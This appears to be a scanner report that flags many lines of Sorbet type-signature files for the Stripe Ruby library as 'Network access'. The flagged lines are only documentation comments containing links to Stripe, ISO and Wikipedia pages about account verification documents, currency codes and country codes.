sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) } def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su - Network accessline 1849
def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 1850
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1877
class Documents < ::Stripe::RequestParams class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#creat - Network accessline 1878
class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1879
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1891
end class CompanyLicense < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1892
class CompanyLicense < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 1893
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1905
end class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account - Network accessline 1906
class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1907
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1919
end class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi - Network accessline 1920
class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1921
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1933
end class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `accoun - Network accessline 1934
class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1935
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1947
end class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi - Network accessline 1948
class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1949
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1962
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 1963
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 1964
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1967
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 1968
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 1969
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1975
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1976
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 1977
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1995
end class ProofOfAddress < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1996
class ProofOfAddress < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 1997
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2009
end class ProofOfRegistration < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requiremen - Network accessline 2010
class ProofOfRegistration < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2011
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2023
end class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acc - Network accessline 2024
class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2025
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2165
class MonthlyEstimatedRevenue < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/cu - Network accessline 2166
class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer - Network accessline 2167
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 2170
sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) } def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su - Network accessline 2171
def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 2172
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2199
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2200
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2201
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2248
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2249
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2250
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2463
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2464
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2465
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2544
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2545
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2546
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2608
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with - Network accessline 2609
class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2610
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2622
end class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2623
class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { ret - Network accessline 2624
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2637
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 2638
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 2639
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2642
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 2643
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 2644
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2650
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2651
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 2652
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2671
class SecondaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the v - Network accessline 2672
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 2673
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2676
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 2677
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 2678
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2684
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2685
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 2686
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 2704
end class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2705
class Visa < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { returns - Network accessline 2706
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2831
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2832
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2833
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2880
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2881
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2882
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3072
} def metadata=(_metadata); end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3073
def metadata=(_metadata); end # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(T::Array[Str - Network accessline 3074
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3158
} def business_details=(_business_details); end # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO - Network accessline 3159
def business_details=(_business_details); end # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alph - Network accessline 3160
# The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/account_token_create_params.rbi
- Network accessline 28
end class PersonsProvided < ::Stripe::RequestParams # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stri - Network accessline 29
class PersonsProvided < ::Stripe::RequestParams # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/co - Network accessline 30
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 33
sig { params(_directors: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def directors=(_directors); end # Whether the company’s executives have been provided. Set this Boolean to true after creating all - Network accessline 34
def directors=(_directors); end # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/cr - Network accessline 35
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 38
sig { params(_executives: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def executives=(_executives); end # Whether the company’s owners have been provided. Set this Boolean to true after creating all t - Network accessline 39
def executives=(_executives); end # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createpe - Network accessline 40
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 158
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 159
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 160
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 203
class AnnualRevenue < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#m - Network accessline 204
class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer - Network accessline 205
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 208
sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) } def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su - Network accessline 209
def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 210
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 237
class Documents < ::Stripe::RequestParams class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#creat - Network accessline 238
class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 239
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 251
end class CompanyLicense < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 252
class CompanyLicense < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 253
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 265
end class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account - Network accessline 266
class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 267
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 279
end class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi - Network accessline 280
class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 281
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 293
end class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `accoun - Network accessline 294
class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 295
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 307
end class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi - Network accessline 308
class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 309
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 322
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 323
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 324
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 327
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 328
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 329
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 335
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 336
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 337
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 355
end class ProofOfAddress < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 356
class ProofOfAddress < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig - Network accessline 357
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 369
end class ProofOfRegistration < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requiremen - Network accessline 370
class ProofOfRegistration < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 371
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 383
end class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acc - Network accessline 384
class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 385
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 525
class MonthlyEstimatedRevenue < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/cu - Network accessline 526
class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer - Network accessline 527
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 530
sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) } def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su - Network accessline 531
def value=(_value); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T. - Network accessline 532
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 559
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 560
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 561
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 608
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 609
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 610
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 823
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 824
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 825
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 904
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 905
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 906
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 968
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with - Network accessline 969
class CompanyAuthorization < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 970
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 982
end class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 983
class Passport < ::Stripe::RequestParams # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. sig { ret - Network accessline 984
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 997
class PrimaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver - Network accessline 998
class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden - Network accessline 999
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1002
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri - Network accessline 1003
def back=(_back); end # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The - Network accessline 1004
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1010
def initialize(back: nil, front: nil); end end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1011
end # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. sig { - Network accessline 1012
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1031
class SecondaryVerification < ::Stripe::RequestParams class FrontBack < ::Stripe::RequestParams # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the v - Network accessline 1032
